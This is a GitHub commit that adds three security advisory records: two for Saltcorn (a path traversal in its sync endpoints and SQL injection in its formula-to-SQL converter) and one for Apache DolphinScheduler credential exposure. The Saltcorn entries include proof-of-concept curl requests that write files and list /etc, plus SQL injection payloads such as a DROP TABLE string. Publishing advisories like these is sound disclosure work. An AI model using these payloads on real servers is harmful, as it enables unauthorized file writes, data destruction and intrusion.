Skip to content

Commit 8b18463

Browse files
1 parent 8f34d16 commit 8b18463

10 files changed

Lines changed: 619 additions & 44 deletions

File tree

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-32pv-mpqg-h292",
4+
"modified": "2026-04-10T19:30:27Z",
5+
"published": "2026-04-10T19:30:27Z",
6+
"aliases": [
7+
"CVE-2026-40163"
8+
],
9+
"summary": "Saltcorn has an Unauthenticated Path Traversal in sync endpoints, allowing arbitrary file write and directory read",
10+
"details": "### Summary\n\nTwo unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The `POST /sync/offline_changes` endpoint allows an unauthenticated attacker to create arbitrary directories and write a `changes.json` file with attacker-controlled JSON content anywhere on the server filesystem. The `GET /sync/upload_finished` endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.\n\nThe safe path validation function `File.normalise_in_base()` exists in the codebase and is correctly used by the `clean_sync_dir` endpoint in the **same file** (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.\n\n### Details\n\n**Finding 1: Arbitrary file write — `POST /sync/offline_changes` (sync.js line 226)**\n\nThe `newSyncTimestamp` parameter from the request body is used directly in `path.join()` without sanitization:\n\n```javascript\nconst syncDirName = `${newSyncTimestamp}_${req.user?.email || \"public\"}`;\nconst syncDir = path.join(\n rootFolder.location, \"mobile_app\", \"sync\", syncDirName\n);\nawait fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir\nawait fs.writeFile(\n path.join(syncDir, \"changes.json\"),\n JSON.stringify(changes) // writes attacker content\n);\n```\n\nNo authentication middleware is applied to this route. Since `path.join()` normalizes `../` sequences, setting `newSyncTimestamp` to `../../../../tmp/evil` causes the path to resolve outside the sync directory.\n\n**Finding 2: Arbitrary directory read — `GET /sync/upload_finished` (sync.js line 288)**\n\nThe `dir_name` query parameter is used directly in `path.join()` without sanitization:\n\n```javascript\nconst syncDir = path.join(\n rootFolder.location, \"mobile_app\", \"sync\", dir_name\n);\nlet entries = await fs.readdir(syncDir);\n```\n\nAlso unauthenticated. An attacker can list directory contents and read files named `translated-ids.json`, `unique-conflicts.json`, `data-conflicts.json`, or `error.json` from any directory.\n\n**Contrast — fixed endpoint in the same file (line 342):**\n\nThe `clean_sync_dir` endpoint correctly uses `File.normalise_in_base()`:\n\n```javascript\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n dir_name\n);\nif (syncDir) await fs.rm(syncDir, { recursive: true, force: true });\n```\n\n### PoC\n\n```bash\n# Write arbitrary file to /tmp/\ncurl -X POST http://TARGET:3000/sync/offline_changes \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"newSyncTimestamp\": \"../../../../tmp/saltcorn_poc\",\n \"oldSyncTimestamp\": \"0\",\n \"changes\": {\"proof\": \"path_traversal_write\"}\n }'\n# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content\n\n# List /etc/ directory\ncurl \"http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc\"\n```\n\n### Impact\n\n- **Unauthenticated arbitrary directory creation** anywhere on the filesystem\n- **Unauthenticated arbitrary JSON file write** (`changes.json`) to any writable directory\n- **Unauthenticated directory listing** of arbitrary directories\n- **Unauthenticated read** of specific JSON files from arbitrary directories\n- Potential for **remote code execution** via writing to sensitive paths (cron, systemd, Node.js module paths)\n\n### Remediation\n\nApply `File.normalise_in_base()` to both endpoints, matching the existing pattern in `clean_sync_dir`:\n\n```javascript\n// offline_changes fix\nconst syncDirName = `${newSyncTimestamp}_${req.user?.email || \"public\"}`;\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n syncDirName\n);\nif (!syncDir) {\n return res.status(400).json({ error: \"Invalid sync directory name\" });\n}\n\n// upload_finished fix\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n dir_name\n);\nif (!syncDir) {\n return res.json({ finished: false });\n}\n```\n\nAdditionally, add `loggedIn` middleware to endpoints that modify server state.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@saltcorn/server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.5"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "@saltcorn/server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "1.5.0-beta.0"
48+
},
49+
{
50+
"fixed": "1.5.5"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "npm",
59+
"name": "@saltcorn/server"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "1.6.0-alpha.0"
67+
},
68+
{
69+
"fixed": "1.6.0-beta.4"
70+
}
71+
]
72+
}
73+
]
74+
}
75+
],
76+
"references": [
77+
{
78+
"type": "WEB",
79+
"url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-32pv-mpqg-h292"
80+
},
81+
{
82+
"type": "ADVISORY",
83+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40163"
84+
},
85+
{
86+
"type": "PACKAGE",
87+
"url": "https://github.com/saltcorn/saltcorn"
88+
}
89+
],
90+
"database_specific": {
91+
"cwe_ids": [
92+
"CWE-22"
93+
],
94+
"severity": "HIGH",
95+
"github_reviewed": true,
96+
"github_reviewed_at": "2026-04-10T19:30:27Z",
97+
"nvd_published_at": "2026-04-10T18:16:46Z"
98+
}
99+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3cjc-vhfm-ffp2",
4+
"modified": "2026-04-10T19:31:30Z",
5+
"published": "2026-04-09T12:31:10Z",
6+
"aliases": [
7+
"CVE-2025-62188"
8+
],
9+
"summary": "Apache DolphinScheduler vulnerable to sensitive information disclosure",
10+
"details": "An Exposure of Sensitive Information to an Unauthorized Actor vulnerability exists in Apache DolphinScheduler.\n\nThis vulnerability may allow unauthorized actors to access sensitive information, including database credentials.\n\n\nThis issue affects Apache DolphinScheduler versions 3.1.*.\n\n\nUsers are recommended to upgrade to:\n\n * version ≥ 3.2.0 if using 3.1.x\n\nAs a temporary workaround, users who cannot upgrade immediately may restrict the exposed management endpoints by setting the following environment variable:\n\n\n```\nMANAGEMENT_ENDPOINTS_WEB_EXPOSURE_INCLUDE=health,metrics,prometheus\n```\n\nAlternatively, add the following configuration to the application.yaml file:\n\n\n```\nmanagement:\n   endpoints:\n     web:\n        exposure:\n          include: health,metrics,prometheus\n```\n\nThis issue has been reported as CVE-2023-48796:\n\n https://cveprocess.apache.org/cve5/CVE-2023-48796",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.apache.dolphinscheduler:dolphinscheduler"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "3.1.0"
29+
},
30+
{
31+
"fixed": "3.2.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "ADVISORY",
41+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62188"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/apache/dolphinscheduler"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/apache/dolphinscheduler/releases/tag/3.0.2"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://lists.apache.org/thread/ffrmkcwgr2lcz0f5nnnyswhpn3fytsvo"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://www.cve.org/CVERecord?id=CVE-2023-48796"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-200"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-04-10T19:31:30Z",
67+
"nvd_published_at": "2026-04-09T10:16:20Z"
68+
}
69+
}
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-59xv-588h-2vmm",
4+
"modified": "2026-04-10T19:30:32Z",
5+
"published": "2026-04-10T19:30:32Z",
6+
"aliases": [],
7+
"summary": "@saltcorn/data vulnerable to SQL Injection via jsexprToSQL Literal Handler",
8+
"details": "## Summary\n\nThe `jsexprToSQL()` function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The `Literal` handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.\n\n\n## Vulnerable Component\n\n**File:** `packages/saltcorn-data/models/expression.ts`, lines 117-118\n\n```typescript\nLiteral({ value }: { value: ExtendedNode }) {\n if (typeof value == \"string\") return `'${value}'`; // NO ESCAPING!\n return `${value}`;\n},\n```\n\n**Call chain:** Formula constraint creation → `table_constraints.ts:127` → `jsexprToSQL()` → `Literal()` → `db.query()` executes unsanitized SQL.\n\n## Proof of Concept\n\n### Injection via Formula Constraint\n\nWhen an admin creates a Formula-type table constraint with the expression:\n\n```javascript\nname === \"test' OR '1'='1\"\n```\n\nThe `jsexprToSQL()` function generates:\n\n```sql\n(name)=('test' OR '1'='1')\n```\n\nThis is then executed as:\n\n```sql\nALTER TABLE \"tablename\" ADD CONSTRAINT \"tablename_fml_1\" CHECK ((name)=('test' OR '1'='1'));\n```\n\nThe single quote in the string literal is not escaped, breaking out of the SQL string context.\n\n### More Dangerous Payload\n\n```javascript\nname === \"'; DROP TABLE users; --\"\n```\n\nGenerates:\n\n```sql\n(name)=(''; DROP TABLE users; --')\n```\n\n### Verified on Saltcorn v1.5.0 (Docker)\n\nDirect invocation of `jsexprToSQL()` inside the running container confirms the vulnerability:\n\n```\nInput: name === \"hello\"\nOutput: (name)=('hello') ← Normal\n\nInput: name === \"test' OR '1'='1\"\nOutput: (name)=('test' OR '1'='1') ← Single quote NOT escaped, OR injected\n\nInput: name === \"'; DROP TABLE users; --\"\nOutput: (name)=(''; DROP TABLE users; --') ← DROP TABLE injected\n```\n\nThe test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).\n\n### PoC Screenshot\n\n1. Create a table after moving to the table menu\n\n<img width=\"1194\" height=\"559\" alt=\"SCR-20260307-edqn\" src=\"https://github.com/user-attachments/assets/a2d11102-f49b-4b2b-88ff-fced37476b6f\" />\n\n\n2. Go to the table and then to `Constraits`\n\n<img width=\"1180\" height=\"600\" alt=\"SCR-20260307-edsg\" src=\"https://github.com/user-attachments/assets/b55ddace-01be-4a53-8f62-cbec98172cd7\" />\n\n3. Go to `Formula`\n\n<img width=\"1130\" height=\"518\" alt=\"SCR-20260307-edud\" src=\"https://github.com/user-attachments/assets/8a5addc6-e681-401b-91ea-bce3b0eece54\" />\n\n4. Create a test table for verification\n\n<img width=\"857\" height=\"294\" alt=\"SCR-20260307-eetw\" src=\"https://github.com/user-attachments/assets/debc8581-8145-44cb-a684-2bc3eb7adbcf\" />\n\n5. Input the payload and save\n\n<img width=\"763\" height=\"383\" alt=\"SCR-20260307-ehcz\" src=\"https://github.com/user-attachments/assets/f7a3aa34-7b0b-48ea-b1df-f852f137c37f\" />\n\n6. Check the table for testing\n\n<img width=\"549\" height=\"256\" alt=\"SCR-20260307-ehuh\" src=\"https://github.com/user-attachments/assets/8f6da842-0275-4729-93bf-96575f3fe963\" />\n\n\n\n## Impact\n\n- Arbitrary SQL execution via crafted CHECK constraints\n- Data exfiltration through error-based or time-based SQL injection\n- Database schema manipulation (DROP TABLE, ALTER TABLE)\n- Potential privilege escalation via direct `users` table modification\n\n## Suggested Remediation\n\nEscape single quotes in the `Literal` handler:\n\n```typescript\nLiteral({ value }: { value: ExtendedNode }) {\n if (typeof value == \"string\") return `'${value.replace(/'/g, \"''\")}'`;\n return `${value}`;\n},\n```\n\nAlternatively, use parameterized queries for constraint creation instead of string interpolation.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@saltcorn/data"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.4.5"
30+
}
31+
]
32+
}
33+
]
34+
},
35+
{
36+
"package": {
37+
"ecosystem": "npm",
38+
"name": "@saltcorn/data"
39+
},
40+
"ranges": [
41+
{
42+
"type": "ECOSYSTEM",
43+
"events": [
44+
{
45+
"introduced": "1.5.0"
46+
},
47+
{
48+
"fixed": "1.5.5"
49+
}
50+
]
51+
}
52+
]
53+
},
54+
{
55+
"package": {
56+
"ecosystem": "npm",
57+
"name": "@saltcorn/data"
58+
},
59+
"ranges": [
60+
{
61+
"type": "ECOSYSTEM",
62+
"events": [
63+
{
64+
"introduced": "1.6.0-alpha.0"
65+
},
66+
{
67+
"fixed": "1.6.0-beta.4"
68+
}
69+
]
70+
}
71+
]
72+
}
73+
],
74+
"references": [
75+
{
76+
"type": "WEB",
77+
"url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-59xv-588h-2vmm"
78+
},
79+
{
80+
"type": "PACKAGE",
81+
"url": "https://github.com/saltcorn/saltcorn"
82+
}
83+
],
84+
"database_specific": {
85+
"cwe_ids": [
86+
"CWE-89"
87+
],
88+
"severity": "LOW",
89+
"github_reviewed": true,
90+
"github_reviewed_at": "2026-04-10T19:30:32Z",
91+
"nvd_published_at": null
92+
}
93+
}

0 commit comments

Comments
 (0)